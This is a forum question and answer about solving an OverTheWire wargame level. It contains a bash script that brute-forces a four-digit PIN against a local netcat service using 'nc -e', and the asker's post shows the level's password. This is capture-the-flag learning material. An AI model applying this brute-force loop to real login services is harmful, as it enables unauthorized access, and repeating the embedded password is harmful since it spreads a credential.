How to simulate stdin in shell script and check the stdout answer - linux

Question

I'm currently doing the overthewire exercises and I'm stuck at one point, or more precisely I would like to solve a lvl doing differently from what I could find on the web.
I have to pass a password to a nc command with a pin code, and according to that I have an answer written on stdout (telling if it's right or wrong).
The pass is made with a fix first part, and a pin code between 0000 and 9999.
The fact is that by doing this with cmd line, it's like : echo "my pass" "4-digits pin code" | nc localhost 30002
Then I have the answer depending whether my pin is correct or not.
What I would like to do as a script (maybe I'm totally wrong since this very first step) :
I check with the man that nc could accept to launch a script with the '-e' option.
So I decided to build a script to do the following :
I call the localhost on the port : nc localhost 30002 -e "myScript"
Within my script, I would like to, recursively, echo the combination of the pass and a 4 digit pin to the stdin, in order for me to make the server answering right or wrong.
Then I check the stdout (where I suppose I can read the right or wrong answer from the server), to define if I find the right pincode.
Just to say, I only know the wrong answer that I can have, no idea what the right answer can be.
Here is the code I tried to build (don't flame plz, I'm new :) ):
#!/bin/bash
pwd=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
#nc localhost 30002
for i in {0001..9999}
do
cat <<< "$pwd $i" #Here I try to simulate a input on stdin
cat 1> /tmp/Frack/password
if ( grep -o "Wrong" { "$(</dev/fd/3)"; } 3<&1 ) #Here I try to check if there's an answer from the server, and if it contains the word "Wrong"
then
continue
else
echo "pass trouvé : $i" > /tmp/Frack/password #If I found the right pin code, I write it within this file (on which I gave the right access to be able to write on it).
break
fi
done
I add an example of what I'm supposed to read as an answer from my call to the server with a wrong pin code : "I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again."

Answer 1

You could:
#!/bin/bash
# note stdout is connected to remote end
# note stdin reads from remote end
for i in {0001..9999}; do
# hacky hack to output to controlling terminal
echo "testing $i" > /dev/tty
# output the password to stdout
printf "%s\n" "password $i"
# read one line from stdin
if ! IFS= read -r line; then
echo "error" > /dev/tty
exit 1
fi
# if the word "wrong" case insensitive is missing from readed line
if ! grep -i -q 'wrong' <<<"$line"; then
# then we are finished
echo "I'm in" > /dev/tty
exit 0
fi
done
then I can:
$ nc -e /tmp/1.sh localhost 10000
testing 0001
testing 0002
testing 0003
testing 0004
I'm in
< --- snip -------- >
$ nc -v -v -l localhost -p 10000 <<<$' wrong \n wrong \n wrong \n ok'
Listening on any address 10000 (ndmp)
Connection from 127.0.0.1:39152
password 0001
password 0002
password 0003
password 0004
read(net): Connection reset by peer